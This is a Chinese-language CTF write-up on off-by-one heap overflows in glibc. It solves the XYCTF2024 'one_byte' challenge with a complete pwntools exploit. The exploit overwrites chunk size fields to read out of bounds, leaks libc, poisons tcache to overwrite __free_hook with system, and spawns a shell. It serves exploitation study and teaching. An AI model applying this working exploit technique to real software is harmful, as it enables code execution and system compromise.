off by one介绍

一字节溢出

程序在输入时对输入的字节检测有误,导致多输入一字节。往往出现在数组中a[4]最大只能访问到a[3]却在输入时把a[4]也输入导致一字节溢出。

在堆中一字节溢出可以修改下一个堆块的大小或状态

1

如图,两个大小为0x30的堆块,但由于off by one漏洞导致第二个堆块申请了0x30的大小,size位却显示0xc0的大小,可以进行后续攻击

利用 off by one

chunk被free后会根据size位进行分配fastbins或tcache等,而不是根据实际申请的大小。因此只要修改了size位后进行free就可以控制堆块进入任意bin中。

同样的,从bin中申请堆块也是看size位,而不去检查实际的大小。

申请一个小堆块利用 off by one修改size位改成较大的数值size2,进行free后会进入管理较大chunk的bin中,再次用一个较大的size2申请出,这样就可以访问size2位大小的值从而造成越界访问。

2

如图,0x5cf2f715b720处显示大小为0xc0,实际大小为0x30,因此可以造成越界访问。

在show的时候可以直接打印出下面chunk的内容,包括标志位。图中下一个chunk刚好在unsortedbin中,因此可以用来泄露libc。

在edit的时候也可以修改下一个chunk的内容,也包括标志位。若下一个chunk在fastbin中或tcache中,可以修改fd位使其指向任意位置。

实例

XYCTF2024 one_byte

GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.14) stable release version 2.31

分析

add,free,show,edit。没有UAF

edit中有一个read_data函数进入后发现

3

4

存在off by one漏洞

因此可以把tcache填满后,申请一个用于off by one的chunk,一个用于越界访问的chunk,一个与tcache大小相同进入unsortedbin中的chunk(顺序一定要相同),从而泄露libc

获得libc后,同样的,申请一个用于off by one的chunk,一个用于越界访问的chunk,一个进入tcache尾的chunk,实现申请目标地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import*
from LibcSearcher import*

#context(log_level='debug',arch='amd64',os='linux')
libc=ELF('./libc6_2.35-0ubuntu3.6_amd64.so')
libc=ELF('libc.so.6')
#libc=ELF('./libc-2.27.so')
e=ELF('./vuln')
r=process('./vuln')
#r=remote('gz.imxbt.cn',20321)
#gdb.attach(r)

def add(idx,size):
r.sendlineafter('>>> ','1')
r.sendlineafter(': ',str(idx))
r.sendlineafter(': ',str(size))


def free(index):
r.sendlineafter('>>> ','2')
r.sendlineafter(': ',str(index))

def edit(index,content):
r.sendlineafter('>>> ','4')
r.sendlineafter(':',str(index))
sleep(0.1)
r.sendline(content)

def show(index):
r.sendlineafter('>>> ','3')
r.sendlineafter(': ',str(index))
# 前七个用于填满tcache
for i in range(7):
add(i,0x98)

add(7,0x28) #用该chunk实现off by one 注意大小必须是以8结尾,否则会因为chunk的对齐而多出现8字节无法off by one到下一个chunk
add(8,0x28) #修改这个chunk的size位访问该chunk实现越界访问
add(9,0x98) #进入unsortedbin,因此大小也要为0x98
add(10,0x10)#防止unsortedbin合并
for i in range(7):
free(i)


edit(7,b'\xc1'*0x29)#开始利用

free(8)#此时本应该进入0x30的chunk进入了0xc0
add(11,0xb8)#把8号chunk申请出来
free(9)#进入unsortedbin
show(11)#由于8号chunk本是0x28的大小,size位却为0xc0因此show的时候会show 0xc0-0x8个字节,把下一个被free掉的chunk也给show出来了

#gdb.attach(r)
#add(8,0xb8)
r.recv(0x30)
addr=u64(r.recv(6).ljust(8,b'\x00'))-0x1ecbe0
sys=addr+libc.sym["system"]
hook=addr+libc.sym["__free_hook"]
print(hex(addr))
print(hex(hook))
free(11)
edit(7,b'\x31'*0x29)

#开始利用tcache实现任意写
add(1,0x18)
add(2,0x18)
add(3,0x38)
add(4,0x38)
add(5,0x38)
edit(1,0x19*b'\x71')#修改2的size位,大小无所谓只要能够到下一个chunk的fd即可
#free(1)
free(2)
free(4)
free(5)
free(3)#此时是3->5->4注意chunk数一定要大于等于2 否则3->__free_hook 时由于tcache的key导致free_hook申请不出来

add(12,0x68)
edit(12,p64(0)*3+p64(0x41)+p64(hook)*2)#伪造下一个chunk的fd
add(4,0x38)#把3申请回去
add(5,0x38)#把__free_hook申请回去
edit(5,p64(sys))
edit(4,'/bin/sh')#写入参数
free(4)


#show(7)
#edit(0,b'\x00'*0x18+b'\x40')
#free(0)
#add(1,0x30)
#gdb.attach(r)
r.interactive()